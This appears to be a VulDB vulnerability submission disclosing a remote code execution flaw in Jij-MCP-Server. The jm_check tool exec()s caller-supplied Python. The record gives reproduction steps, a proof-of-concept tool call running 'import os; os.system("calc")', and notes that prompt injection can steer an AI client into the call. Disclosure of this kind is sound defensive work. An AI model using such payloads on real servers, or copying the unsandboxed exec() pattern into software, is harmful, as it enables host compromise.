| Название | Jij-Inc Jij-MCP-Server Latest remote code execute |
|---|
| Описание | Summary
A remote code execution (RCE) vulnerability exists in the Jij-MCP-Server MCP Server. The root cause is the use of Python’s built-in exec() on user-controlled input passed to the jm_check tool. The code parameter is executed directly in the MCP server process without sandboxing, import restrictions, or subprocess isolation. Successful exploitation allows an attacker to run arbitrary Python code—and, via standard library calls such as os.system(), arbitrary operating-system commands—under the privileges of the MCP server process.
The server executes AI- or user-supplied Python strings as part of a “code validation” workflow. Because there is no separation between validation and execution, any caller that can invoke jm_check (including an MCP client manipulated through prompt injection) can achieve full code execution on the host.
Details
The MCP server supports mathematical optimization with JijModeling and quantum computing with Qiskit. The jm_check tool is intended to validate JijModeling code (e.g., detect forbidden for loops and runtime errors). In practice, it passes the entire code argument to PythonREPL.run(), which calls exec(code) in the same process as the server.
An MCP client can be instructed—directly or via prompt injection—to call jm_check with malicious Python instead of legitimate modeling code. No special directory layout or file preparation is required; the attack is a single tool call with a crafted code string.
Below are the vulnerable code paths and steps to reproduce the issue using MCP Inspector on Windows.
Vulnerable code
The following snippets illustrate the vulnerable pattern. This is the only execution path for jm_check, but the same PythonREPL primitive could be reused elsewhere if extended in the future.
Version: Latest (0.1.0, main branch)
Repository: https://github.com/Jij-Inc/Jij-MCP-Server
File: jij_mcp/mcp_setting.py
@mcp.tool()
def jm_check(code: str) -> dict:
"""
Check the code for JijModeling rules.
...
"""
return jijmodeling_check(code)
File: jij_mcp/jm_checker.py
def jijmodeling_check(code_string: str) -> dict:
...
for_loop_detected = detect_for_loop(code_string)
if for_loop_detected:
return {
"for_loop_detected": True,
"message": _jm_for_statement_check,
}
# PythonREPLを使用してコードを実行し、エラーをキャッチ
result = PythonREPL.run(code_string)
...
File: jij_mcp/python_repr.py
class PythonREPL:
@classmethod
def run(cls, code: str) -> dict[str, typing.Any]:
try:
exec(code)
return {"status": "success"}
except Exception as e:
...
In jijmodeling_check, the code_string parameter is fully controlled by the tool caller. After a lightweight for-loop check, it is passed unchanged to PythonREPL.run() and executed via exec(). There is no sandbox, no restricted __builtins__, and no subprocess/venv isolation (unlike the separate qiskit_code_static_check tool, which runs code in a temporary virtual environment).
The only guard is detect_for_loop(), which rejects code containing Python for statements. Payloads without for loops—including one-liners such as import os; os.system("calc")—reach exec() unconditionally.
Using MCP Inspector
Clone the repository and install dependencies:
git clone https://github.com/Jij-Inc/Jij-MCP-Server.git
cd Jij-MCP-Server
uv sync
Start MCP Inspector with the server (from the project root):
npx @modelcontextprotocol/[email protected] uv run jij_mcp/server.py
In MCP Inspector:
Open the URL printed in the terminal (e.g. http://127.0.0.1:6274/?MCP_PROXY_AUTH_TOKEN=...)
Click Connect
Go to the Tools tab and click List Tools
Select the jm_check tool
Confirm that no calculator process is running (Windows: Task Manager → no Calculator / calc.exe spawned by the MCP server).
In the code argument, enter:
import os; os.system("calc")
Click Run Tool.
Proof of exploitation
Request:
{
"method": "tools/call",
"params": {
"name": "jm_check",
"arguments": {
"code": "import os; os.system(\"calc\")"
},
"_meta": {
"progressToken": 1
}
}
}
Response:
{
"content": [
{
"type": "text",
"text": "{\"for_loop_detected\": false, \"message\": \"No for loop detected and no errors found.\"}"
}
],
"isError": false
}
Then, the Windows Calculator application opens on the host running the MCP server.
Impact
Remote Code Execution (RCE) |
|---|
| Источник | ⚠️ http://github.com/Jij-Inc/Jij-MCP-Server/issues/4 |
|---|
| Пользователь | TianyuLi (UID 99360) |
|---|
| Представление | 29.06.2026 09:16 (2 месяцы назад) |
|---|
| Модерация | 16.08.2026 09:13 (2 months later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 391141 [Jij-Inc Jij-MCP-Server 0.1.0 jm_check jij_mcp/python_repr.py PythonREPL.run code эскалация привилегий] |
|---|
| Баллы | 20 |
|---|